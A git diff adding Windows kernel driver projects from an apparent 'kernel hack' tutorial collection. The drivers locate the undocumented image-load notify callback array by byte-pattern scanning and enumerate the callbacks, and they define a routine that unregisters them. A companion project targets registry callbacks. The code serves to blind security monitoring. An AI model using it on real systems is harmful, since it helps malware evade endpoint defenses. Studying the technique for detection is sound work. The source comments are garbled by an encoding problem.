Debug|x64.Build.0 = Win8.1 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..f9aaa73 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..0dc8097 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ص + EnumNotifyRoutine(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..a27b232 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,219 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ص +BOOLEAN EnumNotifyRoutine() +{ + ULONG i = 0; + PVOID pPspLoadImageNotifyRoutineAddress = NULL; + PVOID pNotifyRoutineAddress = NULL; + + // ȡ PspLoadImageNotifyRoutine ַ + pPspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutine(); + if (NULL == pPspLoadImageNotifyRoutineAddress) + { + DbgPrint("GetPspLoadImageNotifyRoutine Error!\n"); + return FALSE; + } + DbgPrint("pPspLoadImageNotifyRoutineAddress=0x%p\n", pPspLoadImageNotifyRoutineAddress); + + // ȡصַ +#ifdef _WIN64 + for (i = 0; i < 64; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspLoadImageNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = (PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#else + for (i = 0; i < 8; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspLoadImageNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#endif + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress) +{ + NTSTATUS status = PsRemoveLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)pNotifyRoutineAddress); + if (!NT_SUCCESS(status)) + { + ShowError("PsRemoveLoadImageNotifyRoutine", status); + } + return status; +} + + +// ȡ PspLoadImageNotifyRoutine ַ +PVOID GetPspLoadImageNotifyRoutine() +{ + PVOID pPspLoadImageNotifyRoutineAddress = NULL; + RTL_OSVERSIONINFOW osInfo = { 0 }; + UCHAR pSpecialData[50] = { 0 }; + ULONG ulSpecialDataSize = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // 488D0D + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x0D; + ulSpecialDataSize = 3; +#else + // 32 λ + // BE + pSpecialData[0] = 0xBE; + ulSpecialDataSize = 1; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // 488D0D + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x0D; + ulSpecialDataSize = 3; +#else + // 32 λ + // BB + pSpecialData[0] = 0xBB; + ulSpecialDataSize = 1; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // 488D0D + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x0D; + ulSpecialDataSize = 3; +#else + // 32 λ + // BF + pSpecialData[0] = 0xBF; + ulSpecialDataSize = 1; +#endif + } + + // ȡַ + pPspLoadImageNotifyRoutineAddress = SearchPspLoadImageNotifyRoutine(pSpecialData, ulSpecialDataSize); + return pPspLoadImageNotifyRoutineAddress; +} + + +// ȡ PspLoadImageNotifyRoutine ַ +PVOID SearchPspLoadImageNotifyRoutine(PUCHAR pSpecialData, ULONG ulSpecialDataSize) +{ + UNICODE_STRING ustrFuncName; + PVOID pAddress = NULL; + LONG lOffset = 0; + PVOID pPsSetLoadImageNotifyRoutine = NULL; + PVOID pPspLoadImageNotifyRoutine = NULL; + + // Ȼȡ PsSetLoadImageNotifyRoutine ַ + RtlInitUnicodeString(&ustrFuncName, L"PsSetLoadImageNotifyRoutine"); + pPsSetLoadImageNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); + if (NULL == pPsSetLoadImageNotifyRoutine) + { + ShowError("MmGetSystemRoutineAddress", 0); + return pPspLoadImageNotifyRoutine; + } + + // Ȼ, PspSetCreateProcessNotifyRoutine ַ + pAddress = SearchMemory(pPsSetLoadImageNotifyRoutine, + (PVOID)((PUCHAR)pPsSetLoadImageNotifyRoutine + 0xFF), + pSpecialData, ulSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory", 0); + return pPspLoadImageNotifyRoutine; + } + + // ȡַ +#ifdef _WIN64 + // 64 λȻȡƫ, ټַ + lOffset = *(PLONG)pAddress; + pPspLoadImageNotifyRoutine = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); +#else + // 32 λֱӻȡַ + pPspLoadImageNotifyRoutine = *(PVOID *)pAddress; +#endif + + return pPspLoadImageNotifyRoutine; +} + + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) +{ + PVOID pAddress = NULL; + PUCHAR i = NULL; + ULONG m = 0; + + // ɨڴ + for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) + { + // ж + for (m = 0; m < ulMemoryDataSize; m++) + { + if (*(PUCHAR)(i + m) != pMemoryData[m]) + { + break; + } + } + // жǷҵĵַ + if (m >= ulMemoryDataSize) + { + // ҵλ, ȡһַ + pAddress = (PVOID)(i + ulMemoryDataSize); + break; + } + } + + return pAddress; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..c5f7405 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,24 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include + + +// ص +BOOLEAN EnumNotifyRoutine(); + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress); + +// ȡ PspLoadImageNotifyRoutine ַ +PVOID GetPspLoadImageNotifyRoutine(); + +// ȡ PspLoadImageNotifyRoutine ַ +PVOID SearchPspLoadImageNotifyRoutine(PUCHAR pSpecialData, ULONG ulSpecialDataSize); + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.inf" new file mode 100644 index 0000000..54bea6a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; PsSetLoadImageNotifyRoutine_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="PsSetLoadImageNotifyRoutine_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..1cae287 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + PsSetLoadImageNotifyRoutine_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..5e7882b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..2243d39 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.sln" new file mode 100644 index 0000000..87a000b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CmRegisterCallback_Enum_Remove_Test", "CmRegisterCallback_Enum_Remove_Test\CmRegisterCallback_Enum_Remove_Test.vcxproj", "{47FA2167-E477-4FF5-893E-A441ADF09406}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {47FA2167-E477-4FF5-893E-A441ADF09406}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..c4596b7 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.inf" new file mode 100644 index 0000000..70d9a87 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; 